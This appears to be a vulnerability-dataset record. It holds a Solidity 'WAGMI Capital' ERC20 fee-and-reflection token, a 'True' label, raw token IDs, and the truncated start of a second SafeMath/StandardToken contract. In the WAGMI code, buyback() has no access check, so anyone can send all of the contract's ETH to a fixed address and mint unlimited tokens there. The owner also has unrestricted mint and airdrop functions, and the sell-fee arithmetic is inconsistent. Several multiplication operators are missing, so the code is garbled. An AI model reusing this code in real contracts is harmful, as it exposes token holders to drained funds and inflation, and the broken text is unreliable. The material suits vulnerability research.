indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; contract WAGMI is ERC20, Ownable { modifier lockSwap { _inSwap = true; _; _inSwap = false; } modifier liquidityAdd { _inLiquidityAdd = true; _; _inLiquidityAdd = false; } uint256 internal _maxTransfer = 10; uint256 internal _maxWallet = 30; uint256 internal _marketingFee = 4; uint256 internal _treasuryFee = 7; uint256 internal _autoLiquidityRate = 3; uint256 internal _marketingFeeEarlySell = 4; uint256 internal _treasuryFeeEarlySell = 6; uint256 internal _reflectRate = 10; uint256 internal _autoBurnRate = 1; uint256 internal _cooldown = 30 seconds; uint256 internal _totalFees = _marketingFee + _treasuryFee + _autoLiquidityRate; uint256 internal _TotalEarlySellFees = _marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate; uint256 internal _swapFeesAt = 1000 ether; bool internal useEarlySellTime = true; bool internal useBuyCooldown = true; bool internal _swapFees = true; // total wei reflected ever uint256 internal _ethReflectionBasis; uint256 internal _totalReflected; uint256 internal _totalTreasuryFees; uint256 internal _totalMarketingFees; uint256 internal _totalLiquidityFees; address payable public _marketingWallet; address payable public _treasuryWallet; address payable public _burnWallet; address payable private _wagmibuyback; address payable public _liquidityWallet; uint256 internal _totalSupply = 0; uint256 public _totalBurned; uint256 public _totalDistributed; uint256 public earlySellTime = 24 hours; IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0)); address internal _pair; bool internal _inSwap = false; bool internal _inLiquidityAdd = false; bool internal _tradingActive = false; uint256 internal _tradingStartBlock = 0; mapping(address => uint256) private _balances; mapping(address => bool) private _reflectionExcluded; mapping(address => bool) private _taxExcluded; mapping(address => bool) private _bot; mapping(address => uint256) private _lastBuy; mapping(address => uint256) private _lastReflectionBasis; mapping(address => uint256) private _totalWalletRewards; address[] internal _reflectionExcludedList; constructor( address uniswapFactory, address uniswapRouter, address payable treasuryWallet, address payable marketingWallet, address payable liquidityWallet ) ERC20("WAGMI Capital", "WAGMI") Ownable() { addTaxExcluded(owner()); addTaxExcluded(treasuryWallet); addTaxExcluded(address(this)); addTaxExcluded(_wagmibuyback); _liquidityWallet = liquidityWallet; _treasuryWallet = treasuryWallet; _marketingWallet = marketingWallet; _burnWallet = payable(0x000000000000000000000000000000000000dEaD); _wagmibuyback = payable(0x3CB2882bdC15036FfAE48f109b6EDe59B8261868); _router = IUniswapV2Router02(uniswapRouter); IUniswapV2Factory uniswapContract = IUniswapV2Factory(uniswapFactory); _pair = uniswapContract.createPair(address(this), _router.WETH()); } function launch(uint256 tokens) public payable onlyOwner() liquidityAdd { _mint(address(this), tokens); addLiquidity(tokens, msg.value); if (!_tradingActive) { _tradingActive = true; _tradingStartBlock = block.number; } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_router), tokenAmount); // add the liquidity _router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function addReflection() public payable { _ethReflectionBasis += msg.value; } function isReflectionExcluded(address account) public view returns (bool) { return _reflectionExcluded[account]; } function removeReflectionExcluded(address account) public onlyOwner() { require(isReflectionExcluded(account), "Account must be excluded"); _reflectionExcluded[account] = false; } function addReflectionExcluded(address account) public onlyOwner() { _addReflectionExcluded(account); } function _addReflectionExcluded(address account) internal { require(!isReflectionExcluded(account), "Account must not be excluded"); _reflectionExcluded[account] = true; } function isTaxExcluded(address account) public view returns (bool) { return _taxExcluded[account]; } function addTaxExcluded(address account) public onlyOwner() { require(!isTaxExcluded(account), "Account must not be excluded"); _taxExcluded[account] = true; } function removeTaxExcluded(address account) public onlyOwner() { require(isTaxExcluded(account), "Account must not be excluded"); _taxExcluded[account] = false; } function isBot(address account) public view returns (bool) { return _bot[account]; } function addBot(address account) internal { _addBot(account); } function _addBot(address account) internal { require(!isBot(account), "Account must not be flagged"); require(account != address(_router), "Account must not be uniswap router"); require(account != _pair, "Account must not be uniswap pair"); require(account != _wagmibuyback, "Account must not be buyback"); _bot[account] = true; _addReflectionExcluded(account); } function removeBot(address account) public onlyOwner() { require(isBot(account), "Account must be flagged"); _bot[account] = false; removeReflectionExcluded(account); } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _addBalance(address account, uint256 amount) internal { _balances[account] = _balances[account] + amount; } function _subtractBalance(address account, uint256 amount) internal { _balances[account] = _balances[account] - amount; } function _transfer( address sender, address recipient, uint256 amount ) internal override { if (isTaxExcluded(sender) \|\| isTaxExcluded(recipient)) { _rawTransfer(sender, recipient, amount); return; } require(!isBot(sender), "Sender locked as bot"); require(!isBot(recipient), "Recipient locked as bot"); uint256 maxTxAmount = totalSupply() _maxTransfer / 1000; uint256 maxWalletAmount = totalSupply() * _maxWallet / 1000; require(amount <= maxTxAmount \|\| _inLiquidityAdd \|\| _inSwap \|\| recipient == address(_router), "Exceeds max transaction amount"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= _swapFeesAt; if (_lastReflectionBasis[recipient] <= 0) { _lastReflectionBasis[recipient] = _ethReflectionBasis; } if(contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } if ( overMinTokenBalance && !_inSwap && sender != _pair && _swapFees ) { _swap(contractTokenBalance); } _claimReflection(payable(sender)); _claimReflection(payable(recipient)); uint256 send = amount; uint256 reflect = 0; uint256 marketing = 0; uint256 liquidity = 0; uint256 treasury = 0; uint256 burn = 0; if (sender == _pair && _tradingActive) { // Buy, apply buy fee schedule require((_balances[recipient] + amount) <= maxWalletAmount); send = amount * (100 - _totalFees) / 100; reflect = amount * _reflectRate / 100; burn = amount * _autoBurnRate / 100; require((!useBuyCooldown \|\| block.timestamp - _lastBuy[tx.origin] > _cooldown) \|\| _inSwap, "hit cooldown, try again later"); _autoBurnTokens(sender, burn); _lastBuy[tx.origin] = block.timestamp; _reflect(sender, reflect); } else if (recipient == _pair && _tradingActive) { // Sell, apply sell fee schedule if (useEarlySellTime && _lastBuy[tx.origin] + (earlySellTime) >= block.timestamp){ send = amount * (100 - _TotalEarlySellFees) / 100; marketing = amount * _marketingFeeEarlySell / 1000; liquidity = amount * _autoLiquidityRate / 1000; treasury = amount * _treasuryFeeEarlySell / 1000; } else{ send = amount * (100 - _totalFees) / 100; marketing = amount * _marketingFee / 1000; liquidity = amount * _autoLiquidityRate / 1000; treasury = amount * _treasuryFee / 1000; } _takeMarketing(sender, marketing); _takeTreasury(sender, treasury); _takeLiquidity(sender, liquidity); } _rawTransfer(sender, recipient, send); if (_tradingActive && block.number == _tradingStartBlock && !isTaxExcluded(tx.origin)) { if (tx.origin == address(_pair)) { if (sender == address(_pair)) { _addBot(recipient); } else { _addBot(sender); } } else { _addBot(tx.origin); } } } function _claimReflection(address payable addr) internal { if (addr == _pair \|\| addr == address(_router)) return; uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = basisDifference * balanceOf(addr) / _totalSupply; _lastReflectionBasis[addr] = _ethReflectionBasis; if (owed == 0) { return; } addr.transfer(owed); _totalWalletRewards[addr] += owed; _totalDistributed += owed; } function claimReflection() public { _claimReflection(payable(msg.sender)); } function pendingRewards(address addr) public view returns (uint256) { uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = basisDifference * balanceOf(addr) / _totalSupply; return owed; } function totalRewardsDistributed() public view returns (uint256) { return _totalDistributed; } function totalWalletRewards(address addr) public view returns (uint256) { return _totalWalletRewards[addr]; } function _swap(uint256 amount) internal lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), amount); uint256 contractEthBalance = address(this).balance; _router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); uint256 tradeValue = address(this).balance - contractEthBalance; uint256 marketingAmount = amount * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 treasuryAmount = amount * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 liquidityAmount = amount * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 reflectedAmount = amount - (marketingAmount + treasuryAmount + liquidityAmount); uint256 marketingEth = tradeValue * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 treasuryEth = tradeValue * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 liquidityEth = tradeValue * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 reflectedEth = tradeValue - (marketingEth + treasuryEth + liquidityEth); if (marketingEth > 0) { _liquidityWallet.transfer(liquidityEth); _marketingWallet.transfer(marketingEth); _treasuryWallet.transfer(treasuryEth); } _totalMarketingFees -= marketingAmount; _totalTreasuryFees -= treasuryAmount; _totalLiquidityFees -= liquidityAmount; _totalReflected -= reflectedAmount; _ethReflectionBasis += reflectedEth; } function swapAll() public { uint256 maxTxAmount = totalSupply() * _maxTransfer / 1000; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } if ( !_inSwap ) { _swap(contractTokenBalance); } } function buyback(uint256 _amount) public { _wagmibuyback.transfer(address(this).balance); _mint(_wagmibuyback, _amount); } function _reflect(address account, uint256 amount) internal { require(account != address(0), "reflect from the zero address"); _rawTransfer(account, address(this), amount); _totalReflected += amount; emit Transfer(account, address(this), amount); } function _takeMarketing(address account, uint256 amount) internal { require(account != address(0), "take marketing from the zero address"); _rawTransfer(account, address(this), amount); _totalMarketingFees += amount; emit Transfer(account, address(this), amount); } function _takeTreasury(address account, uint256 amount) internal { require(account != address(0), "take treasury from the zero address"); _rawTransfer(account, address(this), amount); _totalTreasuryFees += amount; emit Transfer(account, address(this), amount); } function _takeLiquidity(address account, uint256 amount) internal { require(account != address(0), "take liquidity from the zero address"); _rawTransfer(account, address(this), amount); _totalLiquidityFees += amount; emit Transfer(account, address(this), amount); } function _autoBurnTokens(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balances[_account] = (_balances[_account] - _amount); _totalSupply = (_totalSupply - _amount); _totalBurned = (_totalBurned + _amount); emit Transfer(_account, address(0), _amount); } // modified from OpenZeppelin ERC20 function _rawTransfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "transfer from the zero address"); require(recipient != address(0), "transfer to the zero address"); uint256 senderBalance = balanceOf(sender); require(senderBalance >= amount, "transfer amount exceeds balance"); unchecked { _subtractBalance(sender, amount); } _addBalance(recipient, amount); emit Transfer(sender, recipient, amount); } function setMaxTransfer(uint256 maxTransfer) public onlyOwner() { _maxTransfer = maxTransfer; } function setSwapFees(bool swapFees) public onlyOwner() { _swapFees = swapFees; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function _mint(address account, uint256 amount) internal override { _totalSupply += amount; _addBalance(account, amount); emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner() { _mint(account, amount); } function airdrop(address[] memory accounts, uint256[] memory amounts) public onlyOwner() { require(accounts.length == amounts.length, "array lengths must match"); for (uint256 i = 0; i < accounts.length; i++) { _mint(accounts[i], amounts[i]); } } function totalBurned() public view returns (uint256) { return _totalBurned; } function updateSellFees(uint256 _sellMarketingFee, uint256 _sellTreasuryFee, uint256 _liquidityFee, uint256 _reflectionFee, uint256 _autoBurnFee, uint256 _earlySellTreasuryFee, uint256 _earlySellMarketingFee) external onlyOwner { _marketingFee = _sellMarketingFee; _treasuryFee = _sellTreasuryFee; _autoLiquidityRate = _liquidityFee; _reflectRate = _reflectionFee; _autoBurnRate = _autoBurnFee; _treasuryFeeEarlySell = _earlySellTreasuryFee; _marketingFeeEarlySell = _earlySellMarketingFee; _totalFees = (_marketingFee + _autoLiquidityRate + _treasuryFee); _TotalEarlySellFees = (_marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate); require(_totalFees <= 25, "Must keep fees at 25% or less"); require(_TotalEarlySellFees <= 25, "Must keep fees at 25% or less"); } function getTotalFee() public view returns (uint256) { return _totalFees; } function getTotalEarlySellFee() public view returns (uint256) { return _TotalEarlySellFees; } function setMaxWallet(uint256 amount) public onlyOwner() { require(amount >= _totalSupply / 1000); _maxWallet = amount; } function setMaxTransaction(uint256 amount) public onlyOwner() { require(amount >= _totalSupply / 1000); _maxTransfer = amount; } function setSwapFeesAt(uint256 amount) public onlyOwner() { _swapFeesAt = amount; } function setTradingActive(bool active) public onlyOwner() { _tradingActive = active; } function setUseEarlySellTime(bool useSellTime) public onlyOwner() { useEarlySellTime = useSellTime; } function setUseCooldown(bool useCooldown) public onlyOwner() { useBuyCooldown = useCooldown; } receive() external payable {} }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1016, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 22494, 3334, 24096, 1063, 3853, 4713, 1006, 1007, 6327, 5760, 5651, 1006, 4769, 1007, 1025, 3853, 4954, 2232, 1006, 1007, 6327, 5760, 5651, 1006, 4769, 1007, 1025, 3853, 5587, 3669, 15549, 25469, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1010, 21318, 3372, 3815, 18673, 27559, 1010, 21318, 3372, 3815, 2497, 6155, 27559, 1010, 21318, 3372, 3815, 10631, 2078, 1010, 21318, 3372, 3815, 25526, 2378, 1010, 4769, 2000, 1010, 21318, 3372, 15117, 1007, 6327, 5651, 1006, 21318, 3372, 3815, 2050, 1010, 21318, 3372, 3815, 2497, 1010, 21318, 3372, 6381, 3012, 1007, 1025, 3853, 5587, 3669, 15549, 25469, 11031, 1006, 4769, 19204, 1010, 21318, 3372, 3815, 18715, 10497, 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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to relinquish control of the contract. / function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /* * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { 